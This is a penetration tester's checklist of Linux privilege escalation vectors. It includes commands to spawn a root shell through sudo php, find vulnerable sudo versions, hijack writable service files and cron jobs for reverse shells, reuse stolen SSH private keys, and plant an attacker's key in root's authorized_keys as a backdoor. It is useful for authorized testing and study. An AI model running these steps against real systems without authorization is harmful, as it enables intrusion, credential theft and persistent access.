Possible privilege escalation vectors - Manual checklist

Check list for common vectors to escalate on Linux & Windows. Use index ->

Linux check list

Check for sudo current user privileges

sudo -l                 #Shows what sudo privileges the user has
sudo su -               #If (ALL:ALL) ALL or privileges on "su", switchs to root user

#user ALL=(ALL) NOPASSWD: /usr/bin/php
sudo php -r “system(‘/bin/sh’);”        #/bin/sh to return root shell but you can execute whatever  ?"-r" runs php code directly from the CLI, "system" is a function used to execute external commands 

Check if sudo version is outdated and vulnerable

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
searchsploit sudo 

OS & Kernel outdated

Keep in mind kernel exploits can cause system instability, if this is a production system coordinate with the client first.

cat /etc/os-release 
uname -a

searchsploit versionFound

PATH

If you can write on $PATH directories you may be able to exploit some binaries or libraries.

#Oneliner to check if directories in $PATH are writtable 
for dir in $(echo $PATH | tr ':' ' '); do [ -w "$dir" ] && echo ";) Can write on $dir" || echo "Can't write on $dir"; done

Vulnerable software installed

dpkg -l         #List software on Debian
rpm -qa         #List software on CentOS

Over-privileged processes

ps -aux    
ps -ef
top            #Dynamic real time
top -n 1       #One snapshot

Writable .service files

If you find any writable .service files, you could modify them so they execute your scripts with higher privileges, also you could place a shell to establish a backdoor and maintain persistence.

#Example on a service config file
ExecStart=/tmp/your_script.sh  #Executes the script on service start

Cron jobs

If you have write permissions to cron jobs you could place a script with a reverse shell which would activate once the timer is up granting us access

#Some places to check
/etc/crontab
/etc/cron.d/
/var/spool/cron/crontabs/root

Exposed credentials

Some files can contain plain text credentials, its common in config files, logs and user history files (bash_history or PSReadLine in Windows). We could also check for password reuse as passwords used for non-critical software could also be used for root for example.

SSH Keys

If we have access to the .ssh directory we may find there their private ssh keys and use them to log as the user without credentials with the -i flag

#Common places
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa

#How to use it in our machine
nano id_rsa
chmod 600 id_rsa   #We change privileges so the ssh server doesn't set off the alarms and prevents it from working
ssh user@ip -i id_rsa

If we can access to a users .ssh directory we could place our public key at /home/user/.ssh/authorized_keys this way we could have a more stable access as we can ssh into the system, of course after we first exploited and gained a shell.

#First we generate the key pair in our machine with
ssh-keygen -f key

#This will give us 2 files:
#Private "key" wich we will use with ssh -i
#Public key "key.pub" that we will copy into the victim's directory or root
echo "key.pub contents" >> /root/.ssh/authorized_keys
echo "key.pub contents" >> /home/user/.ssh/authorized_keys

ssh root@ip -i key
ssh user@ip -i key 

---

Windows

Check for vulnerable software installed

dir C:\Program Files